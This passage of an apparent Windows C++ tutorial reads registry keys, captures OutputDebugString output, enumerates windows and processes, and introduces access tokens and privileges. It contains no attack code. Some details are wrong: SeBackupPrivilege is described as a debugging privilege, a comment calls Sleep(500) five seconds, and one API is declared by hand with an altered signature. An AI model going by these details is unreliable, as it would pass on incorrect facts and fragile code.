                               CmstpExtensionDll : C:\Windows\System32\cmcfg32.dll
codeblocks.exe                 (default) : C:\Program Files (x86)\CodeBlocks\codeblocks.exe
dfshim.dll                     UseURL : 1
firefox.exe                    (default) : C:\Program Files\Mozilla Firefox\firefox.exe
                               Path      : C:\Program Files\Mozilla Firefox
fsquirt.exe                    DropTarget : {047ea9a1-93cc-415a-a2d3-d7ffb3ca5187}
IEDIAG.EXE                     (default) : C:\Program Files\Internet Explorer\IEDIAGCMD.EXE
                               Path      : C:\Program Files\Internet Explorer;
IEDIAGCMD.EXE                  (default) : C:\Program Files\Internet Explorer\IEDIAGCMD.EXE
                               Path      : C:\Program Files\Internet Explorer;
IEXPLORE.EXE                   (default) : C:\Program Files\Internet Explorer\IEXPLORE.EXE
                               Path      : C:\Program Files\Internet Explorer;
install.exe                    BlockOnTSNonInstallMode : 1
licensemanagershellext.exe     (default) : C:\WINDOWS\System32\licensemanagershellext.exe
mip.exe                        (default) : C:\Program Files\Common Files\Microsoft Shared\Ink\mip.exe
mplayer2.exe                   (default) : C:\Program Files (x86)\Windows Media Player\wmplayer.exe
                               Path      : C:\Program Files (x86)\Windows Media Player
msedge.exe                     (default) : C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                               Path      : C:\Program Files (x86)\Microsoft\Edge\Application
pbrush.exe                     (default) : C:\WINDOWS\System32\mspaint.exe
                               Path      : C:\WINDOWS\System32
PowerShell.exe                 (default) : C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe
setup.exe                      BlockOnTSNonInstallMode : 1
SnippingTool.exe               (default) : C:\WINDOWS\system32\SnippingTool.exe
table30.exe                    UseShortName :
TabTip.exe                     (default) : C:\Program Files\Common Files\microsoft shared\ink\TabTip.exe
wab.exe                        (default) : C:\Program Files\Windows Mail\wab.exe
                               Path      : C:\Program Files\Windows Mail
wabmig.exe                     (default) : C:\Program Files\Windows Mail\wabmig.exe
wmplayer.exe                   (default) : C:\Program Files (x86)\Windows Media Player\wmplayer.exe
                               Path      : C:\Program Files (x86)\Windows Media Player
WORDPAD.EXE                    (default) : "C:\Program Files\Windows NT\Accessories\WORDPAD.EXE"
WRITE.EXE                      (default) : "C:\Program Files\Windows NT\Accessories\WORDPAD.EXE"

Query all known DLLs:

$ powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS> ItemProperty Registry::"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"


_wow64cpu    : wow64cpu.dll
_wowarmhw    : wowarmhw.dll
_xtajit      : xtajit.dll
advapi32     : advapi32.dll
clbcatq      : clbcatq.dll
combase      : combase.dll
COMDLG32     : COMDLG32.dll
coml2        : coml2.dll
DifxApi      : difxapi.dll
gdi32        : gdi32.dll
gdiplus      : gdiplus.dll
IMAGEHLP     : IMAGEHLP.dll
IMM32        : IMM32.dll
kernel32     : kernel32.dll
MSCTF        : MSCTF.dll
MSVCRT       : MSVCRT.dll
NORMALIZ     : NORMALIZ.dll
NSI          : NSI.dll
ole32        : ole32.dll
OLEAUT32     : OLEAUT32.dll
PSAPI        : PSAPI.DLL
rpcrt4       : rpcrt4.dll
sechost      : sechost.dll
Setupapi     : Setupapi.dll
SHCORE       : SHCORE.dll
SHELL32      : SHELL32.dll
SHLWAPI      : SHLWAPI.dll
user32       : user32.dll
WLDAP32      : WLDAP32.dll
wow64        : wow64.dll
wow64win     : wow64win.dll
WS2_32       : WS2_32.dll
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
               Manager\KnownDLLs
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
               Manager
PSChildName  : KnownDLLs
PSProvider   : Microsoft.PowerShell.Core\Registry

See

1.14.3 Sample Code

Files

File: registry.cpp

#include <iostream>
#include <string>
#include <cstring>
#include <map>
#include <cassert>

#include <windows.h>

constexpr size_t MAX_KEY_LENGTH = 255;
constexpr size_t MAX_VALUE_NAME = 16383;

// Read a value from registry key.
std::string readRegistry_SZ(  HKEY hkey
                            , const std::string& path
                            , const std::string& key );

std::string readRegistry_SZ( const std::string& full_path
                        , const std::string& key );

// Read Dword from registry
DWORD readRegistry_DW( HKEY hkey
                      , const std::string& path
                      , const std::string& key );


void enumKeyValues(HKEY root, std::string const& path) ;

void enumKeys(HKEY root,std::string const& path, DWORD nmax_keys);

int main()
{
  const HKEY hkcu = HKEY_CURRENT_USER;

  std::puts("\n ====== [ STEP 1] ===== Show Registry Keys ====================\n");
  {
     std::printf(" =>> Windows Explorer Settings ==== \n");
     const char* path = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced";
     enumKeyValues(HKEY_CURRENT_USER, path);
  }

  std::puts("\n====== [ STEP 2 ] ====== Reading Windows Explorer Settings=====\n");
  {
     std::printf(" Location of COM Server with CLSID = {EC231970-6AFD-4215-A72E-97242BB08680} \n");
     const char* com_path_key = "CLSID\\{EC231970-6AFD-4215-A72E-97242BB08680}\\InProcServer32";
     const HKEY hcr = HKEY_CLASSES_ROOT;
     std::cout << "  COM Server file path = " << readRegistry_SZ(hcr, com_path_key, "") << '\n';
  }

  std::puts("\n====== [ STEP 3 ] ====== Reading Windows Explorer Settings =======\n");
  {
     const char* path = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced";

     std::printf("  Key =>> Hidden[DWORD] =  %ld \n", readRegistry_DW( hkcu, path, "Hidden"));

     std::printf("  Key =>> HideFileExt[DWORD] = %ld \n", readRegistry_DW( hkcu, path, "HideFileExt"));

  }

  std::puts("\n====== [ STEP 4 ] ===== Listing all services that can be started after reboot ====");
  {

     std::printf("\n Listing of services (daemons) that can be launched after reboot, at startup time. ");
     enumKeys( HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services", -1);
  }

  return 0;
}

// ---- I M P L E M E N T A T I O N S -------------//
//


std::string
readRegistry_SZ(HKEY hkey, const std::string& path, const std::string& key )
{
    HKEY  key_handle;
    DWORD Type   = REG_SZ;
    auto  result = std::string(1024, 0);
    DWORD size   = result.size();
    if( RegOpenKeyExA( hkey, path.c_str(), 0
                       , KEY_QUERY_VALUE, &key_handle) != ERROR_SUCCESS )
    {  return "<NOT-FOUND:KEY>"; }

    if( RegQueryValueEx(key_handle, key.c_str()
            , NULL, &Type, (LPBYTE) &result[0], &size) != ERROR_SUCCESS)
    {
        RegCloseKey (key_handle);
        return "<NOT-FOUND:VALUE>";
    }
    RegCloseKey (key_handle);
    result.resize(size-1);
    return result;
}


std::string
readRegistry_SZ(const std::string& full_path, const std::string& key )
{

    const char* hkcu = "HKEY_CURRENT_USER\\";

    // Check whether string has prefix 'HKEY_CURRENT_USER\\'
    if( std::strncmp(full_path.c_str(), hkcu, std::strlen(hkcu)) == 0 )
    {
      std::string path{ full_path.begin() + strlen(hkcu), full_path.end() };
      std::cerr << "\n [TRACE] path = " << path << std::endl;
      return readRegistry_SZ(HKEY_CURRENT_USER, path, key);
    }

    return "<NOT-FOUND>";
}

DWORD
readRegistry_DW(HKEY hkey, const std::string& path, const std::string& key )
{
    HKEY  key_handle;
    DWORD Type   = REG_DWORD;
    DWORD result = 0;
    DWORD ret    = 0;
    DWORD size   = sizeof(DWORD);

    ret = RegOpenKeyExA( hkey, path.c_str(), 0
                         , KEY_QUERY_VALUE, &key_handle);

    assert( ret == ERROR_SUCCESS );

    ret = RegQueryValueExA( key_handle, key.c_str()
                          , NULL, &Type, (LPBYTE) &result, &size );

    if( ret != ERROR_SUCCESS )
    {
        RegCloseKey (key_handle);
        std::perror("Error: unable to query key");
        return -1;
    }
    RegCloseKey (key_handle);
    return result;
}


// Query all values from a given registry key
// Adapted from: https://docs.microsoft.com/en-us/windows/win32/sysinfo/enumerating-registry-subkeys
void enumKeyValues(HKEY root, std::string const& path)
{

    TCHAR    achClass[MAX_PATH] = TEXT("");  // buffer for class name
    DWORD    cchClassName = MAX_PATH;  // size of class string
    DWORD    cSubKeys=0;               // number of subkeys
    DWORD    cbMaxSubKey;              // longest subkey size
    DWORD    cchMaxClass;              // longest class string
    DWORD    cValues;              // number of values for key
    DWORD    cchMaxValue;          // longest value name
    DWORD    cbMaxValueData;       // longest value data
    DWORD    cbSecurityDescriptor; // size of security descriptor
    FILETIME ftLastWriteTime;      // last write time

    DWORD i, retCode;

    TCHAR  achValue[MAX_VALUE_NAME];
    DWORD cchValue = MAX_VALUE_NAME;

    HKEY hKey{};
    auto ret = RegOpenKeyEx(root, path.c_str(), 0, KEY_READ, &hKey );
    if( ret != ERROR_SUCCESS ){ goto error;  }

    // Get the class name and the value count.
    retCode = RegQueryInfoKey(
        hKey,                    // key handle
        achClass,                // buffer for class name
        &cchClassName,           // size of class string
        NULL,                    // reserved
        &cSubKeys,               // number of subkeys
        &cbMaxSubKey,            // longest subkey size
        &cchMaxClass,            // longest class string
        &cValues,                // number of values for this key
        &cchMaxValue,            // longest value name
        &cbMaxValueData,         // longest value data
        &cbSecurityDescriptor,   // security descriptor
        &ftLastWriteTime);       // last write time


    // Enumerate the key values.
    if (!cValues){ goto cleanup; }
    std::printf( "\n  ->> Number of values: %ld \n\n ", cValues);

    static const auto key_types_db = std::map<DWORD, std::string>{
          { REG_BINARY,              "REG_BINARY" }
        , { REG_DWORD,               "REG_DWORD" }
        , { REG_DWORD_LITTLE_ENDIAN, "REG_DWORD_LITTLE_ENDIAN" }
        , { REG_DWORD_BIG_ENDIAN,    "REG_DWORD_BIG_ENDIAN" }
        , { REG_LINK,                "REG_LINK" }
        , { REG_SZ,                  "REG_SZ(string)"}
    };

    for (i=0, retCode=ERROR_SUCCESS; i<cValues; i++)
    {
         cchValue = MAX_VALUE_NAME;
         achValue[0] = '\0';
         retCode = RegEnumValue(hKey, i, achValue, &cchValue, NULL, NULL, NULL, NULL);
         assert( retCode == ERROR_SUCCESS);

         DWORD keyType = 0;
         retCode = RegGetValueA(hKey, NULL, achValue, RRF_RT_ANY, &keyType, NULL, NULL);
         assert( retCode == ERROR_SUCCESS);

         auto it = key_types_db.find(keyType);
         std::string keyDesc = ( it != key_types_db.end() ) ? it->second : "<UNKNOWN>";

         std::printf( "   =>> (%ld) %s / type = '%s' \n"
                     , i+1, achValue, keyDesc.c_str()); 
    }

cleanup:
     RegCloseKey(hKey);
     return;
error:
     std::cerr << " [ERRO] Unable to open Key with path = " << path << std::endl;
     RegCloseKey(hKey);
}


// Enumerate subkeys of a given Windows registry key.
// Adapted from: https://docs.microsoft.com/en-us/windows/win32/sysinfo/enumerating-registry-subkeys
// ---------------------------------------------------
// Set  max_keys to -1 in order to show all keys.
void enumKeys(HKEY root,std::string const& path, DWORD nmax_keys)
{
    TCHAR    achKey[MAX_KEY_LENGTH];   // buffer for subkey name
    DWORD    cbName;                   // size of name string
    TCHAR    achClass[MAX_PATH] = TEXT("");  // buffer for class name
    DWORD    cchClassName = MAX_PATH;  // size of class string
    DWORD    cSubKeys=0;               // number of subkeys
    DWORD    cbMaxSubKey;              // longest subkey size
    DWORD    cchMaxClass;              // longest class string
    DWORD    cValues;              // number of values for key
    DWORD    cchMaxValue;          // longest value name
    DWORD    cbMaxValueData;       // longest value data
    DWORD    cbSecurityDescriptor; // size of security descriptor
    FILETIME ftLastWriteTime;      // last write time

    DWORD i, retCode;

    HKEY hKey{};
    auto ret = RegOpenKeyEx(root, path.c_str(), 0, KEY_READ, &hKey );
    assert( ret == ERROR_SUCCESS );

    // Get the class name and the value count.
    retCode = RegQueryInfoKey( hKey, achClass, &cchClassName,  NULL
                               , &cSubKeys, &cbMaxSubKey, &cchMaxClass, &cValues
                               , &cchMaxValue, &cbMaxValueData, &cbSecurityDescriptor
                               ,&ftLastWriteTime);

    // Enumerate the subkeys, until RegEnumKeyEx fails.

    if( !cSubKeys ){ return; }
    printf( "\nNumber of subkeys: %ld\n", cSubKeys);
    // Show maximum of N Keys
    DWORD nkeys = ( cSubKeys > nmax_keys) ? nmax_keys : cSubKeys;

    for (i=0; i < nkeys; i++)
    {
        cbName = MAX_KEY_LENGTH;
        retCode = RegEnumKeyEx(hKey, i, achKey, &cbName, NULL, NULL, NULL, &ftLastWriteTime);
        if (retCode == ERROR_SUCCESS){ std::printf( " [*] (%ld) %s\n", i+1, achKey ); }
    }
}

Building

$ g++ registry.cpp -o registry.exe -std=c++1z -Wall -Wextra   

Running

$ registry.exe

 ====== [ STEP 1] ===== Show Registry Keys ====================

 =>> Windows Explorer Settings ==== 

  ->> Number of values: 28 

    =>> (1) Start_SearchFiles / type = 'REG_DWORD' 
   =>> (2) ServerAdminUI / type = 'REG_DWORD' 
   =>> (3) Hidden / type = 'REG_DWORD' 
   =>> (4) ShowCompColor / type = 'REG_DWORD' 
   =>> (5) HideFileExt / type = 'REG_DWORD' 
   =>> (6) DontPrettyPath / type = 'REG_DWORD' 
   =>> (7) ShowInfoTip / type = 'REG_DWORD' 
   =>> (8) HideIcons / type = 'REG_DWORD' 
   =>> (9) MapNetDrvBtn / type = 'REG_DWORD' 
   =>> (10) WebView / type = 'REG_DWORD' 
   =>> (11) Filter / type = 'REG_DWORD' 
   =>> (12) ShowSuperHidden / type = 'REG_DWORD' 
   =>> (13) SeparateProcess / type = 'REG_DWORD' 
   =>> (14) AutoCheckSelect / type = 'REG_DWORD' 
   =>> (15) IconsOnly / type = 'REG_DWORD' 
   =>> (16) ShowTypeOverlay / type = 'REG_DWORD' 
   =>> (17) ShowStatusBar / type = 'REG_DWORD' 
   =>> (18) StoreAppsOnTaskbar / type = 'REG_DWORD' 
   =>> (19) ListviewAlphaSelect / type = 'REG_DWORD' 
   =>> (20) ListviewShadow / type = 'REG_DWORD' 
   =>> (21) TaskbarAnimations / type = 'REG_DWORD' 
   =>> (22) StartMenuInit / type = 'REG_DWORD' 
   =>> (23) TaskbarStateLastRun / type = 'REG_BINARY' 
   =>> (24) ShowCortanaButton / type = 'REG_DWORD' 
   =>> (25) ReindexedProfile / type = 'REG_DWORD' 
   =>> (26) Start_TrackProgs / type = 'REG_DWORD' 
   =>> (27) StartMigratedBrowserPin / type = 'REG_DWORD' 
   =>> (28) TaskbarMigratedBrowserPin / type = 'REG_DWORD' 

====== [ STEP 2 ] ====== Reading Windows Explorer Settings=====

 Location of COM Server with CLSID = {EC231970-6AFD-4215-A72E-97242BB08680} 
  COM Server file path = C:\Windows\System32\wbem\Microsoft.Uev.AgentWmi.dll

====== [ STEP 3 ] ====== Reading Windows Explorer Settings =======

  Key =>> Hidden[DWORD] =  2 
  Key =>> HideFileExt[DWORD] = 1 

====== [ STEP 4 ] ===== Listing all services that can be started after reboot ====

 Listing of services (daemons) that can be launched after reboot, at startup time. 
Number of subkeys: 692
 [*] (1) .NET CLR Data
 [*] (2) .NET CLR Networking
 [*] (3) .NET CLR Networking 4.0.0.0
 [*] (4) .NET Data Provider for Oracle
 [*] (5) .NET Data Provider for SqlServer
 [*] (6) .NET Memory Cache 4.0
 [*] (7) .NETFramework
 [*] (8) 1394ohci
 [*] (9) 3ware
 [*] (10) AarSvc
 [*] (11) AarSvc_2b782
 [*] (12) ACPI
 [*] (13) AcpiDev
 [*] (14) acpiex
 [*] (15) acpipagr

  ... ...   ... ...   ... ...   ... ...   ... ...   ... ... 
  ... ...   ... ...   ... ...   ... ...   ... ...   ... ... 

 [*] (522) Telemetry
 [*] (523) terminpt
 [*] (524) TermService
 [*] (525) Themes
 [*] (526) TieringEngineService
 [*] (527) TimeBrokerSvc
 [*] (528) TokenBroker
 [*] (529) TPM
 [*] (530) TrkWks
 [*] (531) TroubleshootingSvc
 [*] (532) TrustedInstaller
 ...  ...  ...  ...  ...  ...  ...  ...  ...  ... 
 ...  ...  ...  ...  ...  ...  ...  ...  ...  ... 

1.15 Capturing OutputDebugString output

Logging and printing output to terminal with std::cout, printf or fprintf, does not work for any executable compiled for the window subsystem, even if it was launched from the terminal. As a result, applications built for the window subsystem, often uses the Windows API OutputDebugString() for logging that can be viewed using the DebugView sysinternal tool.

In this experiment, the program testprog.exe logs its execution through OutputDebugString() api and the program logview.exe waits for any OutputDebugString() call and displays the OutputDebugString message, process PID, and path to process' executable.

Apis Used:

ReactOS implementation of OutputDebugString:

Project Files

File: logview.cpp

#include <iostream>
#include <cassert>

#include <windows.h>
#include <tchar.h>

struct alignas(4) OutputDebugStringBuffer
{
    DWORD pid;
    // 4KiB - 4 Kbytes buffer 
    char data[4096 - sizeof(DWORD)];
};

std::string get_process_path(int pid);

// Link against this function without any headers containing this declaration.
extern "C" void QueryFullProcessImageNameA(HANDLE hProc, int n, char* buffer, DWORD* buffer_size);


int main()
{
  static_assert( sizeof(OutputDebugStringBuffer) == 4096 );

  // ---- The following constansts must have those exact name ----- //
  constexpr const char* strDBWinMutex         = "DBWinMutex";
  constexpr const char* strDBWIN_BUFFER_READY = "DBWIN_BUFFER_READY";
  constexpr const char* strDBWIN_DATA_READY   = "DBWIN_DATA_READY";
  constexpr const char* strDBWIN_BUFFER       = "DBWIN_BUFFER";

  // Instatiate mutex 
  HANDLE dbWinMutex = ::OpenMutex(MUTEX_ALL_ACCESS, FALSE, strDBWinMutex);

  if(dbWinMutex == nullptr)
  {
    dbWinMutex =  ::CreateMutex(nullptr, FALSE, strDBWinMutex);
  }

  HANDLE bufferReady = OpenEvent(EVENT_MODIFY_STATE, FALSE, strDBWIN_BUFFER_READY);

  if(bufferReady == nullptr)
  {
    bufferReady = ::CreateEvent(nullptr, FALSE, TRUE, strDBWIN_BUFFER_READY);
  }


  HANDLE dataReady = ::OpenEvent(EVENT_MODIFY_STATE, FALSE, strDBWIN_DATA_READY);

  if(dataReady == nullptr)
  {
    dataReady = ::CreateEvent(nullptr, FALSE, FALSE, strDBWIN_DATA_READY);
  }

  HANDLE bufferMap =::OpenFileMapping(FILE_MAP_READ, FALSE, strDBWIN_BUFFER); 

  if(bufferMap == nullptr)
  {
    std::cerr << "Creating file mapping" << std::endl;

    // Memory mapped file segment (shared memory)
    // that can be accessed by multiple processes.
    bufferMap = CreateFileMapping(  INVALID_HANDLE_VALUE
                                  , nullptr
                                  , PAGE_READWRITE
                                  , 0
                                  , sizeof(OutputDebugStringBuffer)
                                  , strDBWIN_BUFFER
                                  );
  }

  auto wbuffer = reinterpret_cast<OutputDebugStringBuffer*>( ::MapViewOfFile(bufferMap, SECTION_MAP_READ, 0, 0, 0) );

  if(wbuffer == nullptr)
  {
    std::cerr << "Error: failed to get buffer view" << std::endl;
    return EXIT_FAILURE;
  }

  std::cout << "Waiting messages ..." << std::endl;

  for(;;)
  {
    // Block current thread until any other process calls OutputDebugString()
    // function. 
    auto r = WaitForSingleObject(dataReady, INFINITE);    

    if(r == WAIT_OBJECT_0)
    {
      std::fprintf( stdout
                  , " PID = %ld ; Exe = %s \n"
                    " >> %s             \n\n"
                  , wbuffer->pid
                  , get_process_path(wbuffer->pid).c_str()
                  , wbuffer->data
                   );
    }
    SetEvent(bufferReady);


  }  

  return 0;
}


std::string get_process_path(int pid)
{
      // Process handle      
      HANDLE hProc = OpenProcess( PROCESS_QUERY_INFORMATION  | PROCESS_VM_READ, FALSE, pid);
      // If hProc is null, it means that the function OpenProcess() has failed.
      assert( hProc != 0);

      DWORD size = MAX_PATH;
      char buffer[MAX_PATH];

      // Obtain path to proces image (executable path)
      // Note: This function does not work with Unicode path names containing non
      // ascii characters such as Korean Hangul characters
      // For dealing with unicde use the API - QueryFullProcessImageNameW() instead.
      QueryFullProcessImageNameA(hProc, 0, buffer, &size);
      // Close proces handle disposing this reosurce.
      CloseHandle(hProc);

      return std::string{buffer};
}

File: testprog.cpp

#include <iostream>
#include <windows.h>

int main()
{
  int sum = 0;
  char buffer[1000];
  // Initialize buffer 
  memset(buffer, '0', 1000);


  for(int i = 0; i < 5; i++)
  {
    std::snprintf(buffer, 1000, " [INFO] i = %d ; sum = %d ", i, sum);
    sum += sum + i * i;
    OutputDebugStringA(buffer);
    std::fprintf(stdout, "%s\n", buffer);

    // Block current thread for about 5 seconds.
    Sleep(500);
  }

  std::snprintf(buffer, 1000, " [INFO] Shutdown gracefully Ok. ");
  std::fprintf(stdout, "%s\n", buffer);  
  OutputDebugStringA(buffer);

  return 0;
}

Building

$ g++ logview.cpp -o logview.exe -std=c++1z -Wall -Wextra -g
$ g++ testprog.cpp -o testprog.exe -std=c++1z -Wall -Wextra -g

Running logview.exe from terminal 1

$ .\logview.exe
Creating file mapping
Waiting messages ...
 PID = 8088 ; Exe = C:\Users\User_001\Desktop\output_debug\testprog.exe
 >>  [INFO] i = 0 ; sum = 0

 PID = 8088 ; Exe = C:\Users\User_001\Desktop\output_debug\testprog.exe
 >>  [INFO] i = 1 ; sum = 0

 PID = 8088 ; Exe = C:\Users\User_001\Desktop\output_debug\testprog.exe
 >>  [INFO] i = 2 ; sum = 1

 PID = 8088 ; Exe = C:\Users\User_001\Desktop\output_debug\testprog.exe
 >>  [INFO] i = 3 ; sum = 6

 PID = 8088 ; Exe = C:\Users\User_001\Desktop\output_debug\testprog.exe
 >>  [INFO] i = 4 ; sum = 21

 PID = 8088 ; Exe = C:\Users\User_001\Desktop\output_debug\testprog.exe
 >>  [INFO] Shutdown gracefully Ok.

 PID = 7940 ; Exe = C:\Users\User_001\Desktop\output_debug\testprog.exe
 >>  [INFO] i = 0 ; sum = 0

 PID = 7940 ; Exe = C:\Users\User_001\Desktop\output_debug\testprog.exe
 >>  [INFO] i = 1 ; sum = 0

 PID = 7940 ; Exe = C:\Users\User_001\Desktop\output_debug\testprog.exe
 >>  [INFO] i = 2 ; sum = 1

 PID = 7940 ; Exe = C:\Users\User_001\Desktop\output_debug\testprog.exe
 >>  [INFO] i = 3 ; sum = 6

 PID = 7940 ; Exe = C:\Users\User_001\Desktop\output_debug\testprog.exe
 >>  [INFO] i = 4 ; sum = 21

 PID = 7940 ; Exe = C:\Users\User_001\Desktop\output_debug\testprog.exe
 >>  [INFO] Shutdown gracefully Ok.

Running testprog.exe from terminal 2

$ .\testprog.exe
 [INFO] i = 0 ; sum = 0
 [INFO] i = 1 ; sum = 0
 [INFO] i = 2 ; sum = 1
 [INFO] i = 3 ; sum = 6
 [INFO] i = 4 ; sum = 21
 [INFO] Shutdown gracefully Ok.


$ .\testprog.exe
 [INFO] i = 0 ; sum = 0
 [INFO] i = 1 ; sum = 0
 [INFO] i = 2 ; sum = 1
 [INFO] i = 3 ; sum = 6
 [INFO] i = 4 ; sum = 21
 [INFO] Shutdown gracefully Ok.

1.16 Listing Windows and Related Processes

The following code lists all visible windows titles, the related process ID (PID) and the path to the process' executable file.

Windows API Docs

Files

File: enum-windows.cpp

#include <iostream>
#include <string> 
#include <cassert>

#include <windows.h>

int main()
{

  HWND hDesk  = GetDesktopWindow();
  assert( hDesk != 0 );

  // Current Winmdow 
  HWND cwd = GetWindow(hDesk, GW_CHILD);
  assert ( cwd != 0 );

  constexpr size_t SIZE = 2048; // 2kbytes buffer
  char buffer_window_title[SIZE];
  char buffer_window_class[SIZE];
  char buffer_executable_path[MAX_PATH];

  int n = 0;
  DWORD pid = 0;

  // If true the application does not list windows
  // with empty titles. 
  bool hide_empty_title = true;

  while( cwd )
  {
      // Initialize and clean buffer
      memset(buffer_window_title, '\0', SIZE);
      memset(buffer_window_class, '\0', SIZE);
      memset(buffer_executable_path, '\0', MAX_PATH);

      // Get Window title 
      GetWindowTextA(cwd, buffer_window_title, SIZE);
      // Get Window class 
      GetClassName( cwd, buffer_window_class, SIZE);
      // Get Window PID (Process Identifier) - unique identifier.
      GetWindowThreadProcessId(cwd, &pid);
      // Window visibility
      bool isVisible = IsWindowVisible(cwd);

      // Process handle      
      HANDLE hProc = OpenProcess( PROCESS_QUERY_INFORMATION  | PROCESS_VM_READ, FALSE, pid);
        // assert( hProc != 0);
      DWORD size = MAX_PATH;

      // Obtain path to proces image (executable)
      QueryFullProcessImageNameA(hProc, 0, buffer_executable_path, &size);
      // Close proces handle disposing this reosurce.
      CloseHandle(hProc);


      // Display only visible windows with non empty title.
      if( !(hide_empty_title && strlen(buffer_window_title) == 0) && isVisible )
      {
        // Display window title 
        std::printf( " [*] => n = %d / Visible = %s  "
                     "\n   =>       Title = '%s' "
                     "\n   =>         PID = %ld  "
                     "\n   =>  Executable = %s  "
                     "\n   =>       Class = %s \n\n"
                     , n++, isVisible ? "TRUE" : "FALSE"
                     , buffer_window_title, pid, buffer_executable_path
                     , buffer_window_class
                     );      
      }
      // GO to next window
      cwd = GetNextWindow(cwd, GW_HWNDNEXT);
  }

  return 0;
}

Building:

g++ enum-windows.cpp -o enum-windows.exe -std=c++1z -Wall -Wextra -pedantic-errors

Running

$  enum-windows.exe 

[*] => n = 0 / Visible = TRUE  
  =>       Title = 'Cmder' 
  =>         PID = 2268  
  =>  Executable = C:\Users\User_001\scoop\apps\cmder\1.3.17\vendor\conemu-maximus5\ConEmu64.exe  
  =>       Class = VirtualConsoleClass 

[*] => n = 1 / Visible = TRUE  
  =>       Title = 'emacs@DESKTOP-GLXQFC6' 
  =>         PID = 7648  
  =>  Executable = C:\Users\User_001\scoop\apps\emacs\27.1\bin\emacs.exe  
  =>       Class = Emacs 

[*] => n = 2 / Visible = TRUE  
  =>       Title = 'System Configuration' 
  =>         PID = 7048  
  =>  Executable =   
  =>       Class = #32770 

[*] => n = 3 / Visible = TRUE  
  =>       Title = 'Event Viewer' 
  =>         PID = 5944  
  =>  Executable =   
  =>       Class = MMCMainFrame 

[*] => n = 4 / Visible = TRUE  
  =>       Title = 'About Windows' 
  =>         PID = 1368  
  =>  Executable = C:\Windows\System32\winver.exe  
  =>       Class = #32770 

[*] => n = 5 / Visible = TRUE  
  =>       Title = 'Settings' 
  =>         PID = 3704  
  =>  Executable = C:\Windows\ImmersiveControlPanel\SystemSettings.exe  
  =>       Class = Windows.UI.Core.CoreWindow 

[*] => n = 6 / Visible = TRUE  
  =>       Title = 'Settings' 
  =>         PID = 6988  
  =>  Executable = C:\Windows\System32\ApplicationFrameHost.exe  
  =>       Class = ApplicationFrameWindow 

[*] => n = 7 / Visible = TRUE  
  =>       Title = 'Microsoft Text Input Application' 
  =>         PID = 5896  
  =>  Executable = C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe  
  =>       Class = Windows.UI.Core.CoreWindow 

[*] => n = 8 / Visible = TRUE  
  =>       Title = 'Program Manager' 
  =>         PID = 4316  
  =>  Executable = C:\Windows\explorer.exe  
  =>       Class = Progman 

1.17 Access Tokens

1.17.1 Overview

An access tokens are Windows kernel objects that contain information about user identity, capabilities, privileges, domain and groups that the user belongs to. They are generated when an user logs on and is successfully authenticated. When any process is startd, it receives the user access token. As a result, the process capabilities are limited to the same permissions and capabilities granted by the user's token.

Tokens can also used for applying the principle of least privilege which advices that an application should be granted the minimum necessary privilege to perform its work. For instance, several system operations including, loading device drivers, set system time or read a process' memory, require a token to be granted with the specific privilege that enables the operation. For instance, loading device driver requies the token to have the SeLoadDriverPrivilege, reading a process' memory requires SeDugPrivilege and so on.

Some windows privileges contanst (MSDN)

  • SeBackupPrivilege
    • Constant: SE_BACKUP_NAME
    • Privilege required for debugging operations.
  • SeCreateGlobalPrivilege
    • constant: SE_CREATE_GLOBAL_NAME
    • Privilege required for creating named pipes, file mapping or shared memory namespaces in global namespace.
  • SeCreateSymbolicLinkPrivilege
    • constant: SE_CREATE_SYMBOLIC_LINK_NAME
    • Privilege required for creating symbolic links.
  • SeDebugPrivilege
    • Constant: SE_DEBUG_NAME
    • Privilege needed for enabling debugging operations on processes not owned by the user, for instance, reading process virtual memory, writing to process virtual memory.
  • SeLoadDriverPrivilege
    • Constant: SE_LOAD_DRIVER_NAME
    • Privilegy necessary for loading device drivers.

Widely used terminology:

  • UNC - Universal Name Convention
  • UAC - User Account Control
  • ACE - Access Control Entries
  • ACL - Access Control List
  • DACL - Discretionary Access Control List
  • SACL - System Access Control List
  • SID - Security Identifier (User account unique identifer or ID)
  • LSA - Local Security Authority
  • LSAS - Local Security Subsystem Service
  • SCM - Service Control Manager

Relevant documentation reading

Token and Process Windows APIs

BOOL CloseHandle(HANDLE hObject);
DWORD GetCurrentProcessId();
HANDLE OpenProcess(
  DWORD dwDesiredAccess,
  BOOL  bInheritHandle,
  DWORD dwProcessId
);
  • IsProcessCritical()
    • Brief: "Determines whether the specified process is considered critical."
BOOL IsProcessCritical(HANDLE hProcess, PBOOL Critical);
HANDLE GetCurrentProcess();
BOOL OpenProcessToken(
  HANDLE  ProcessHandle,
  DWORD   DesiredAccess,
  PHANDLE TokenHandle
);
  • GetTokenInformation()
    • Brief: "The GetTokenInformation function retrieves a specified type of information about an access token. The calling process must have appropriate access rights to obtain the information."
BOOL GetTokenInformation(
  HANDLE                  TokenHandle,
  TOKEN_INFORMATION_CLASS TokenInformationClass,
  LPVOID                  TokenInformation,
  DWORD                   TokenInformationLength,
  PDWORD                  ReturnLength
);
  • LookupAccountSidA()
    • Brief: "The LookupAccountSid function accepts a security identifier (SID) as input. It retrieves the name of the account for this SID and the name of the first domain on which this SID is found."
BOOL LookupAccountSidA(
  LPCSTR        lpSystemName,
  PSID          Sid,
  LPSTR         Name,
  LPDWORD       cchName,
  LPSTR         ReferencedDomainName,
  LPDWORD       cchReferencedDomainName,
  PSID_NAME_USE peUse
);
  • LookupPrivilegeValueA() [ANSI-VERSION]
    • Brief: "The LookupPrivilegeValue function retrieves the locally unique identifier (LUID) used on a specified system to locally represent the specified privilege name."
BOOL LookupPrivilegeValueA(
  LPCSTR lpSystemName,
  LPCSTR lpName,
  PLUID  lpLuid
);
BOOL LookupPrivilegeValueW(
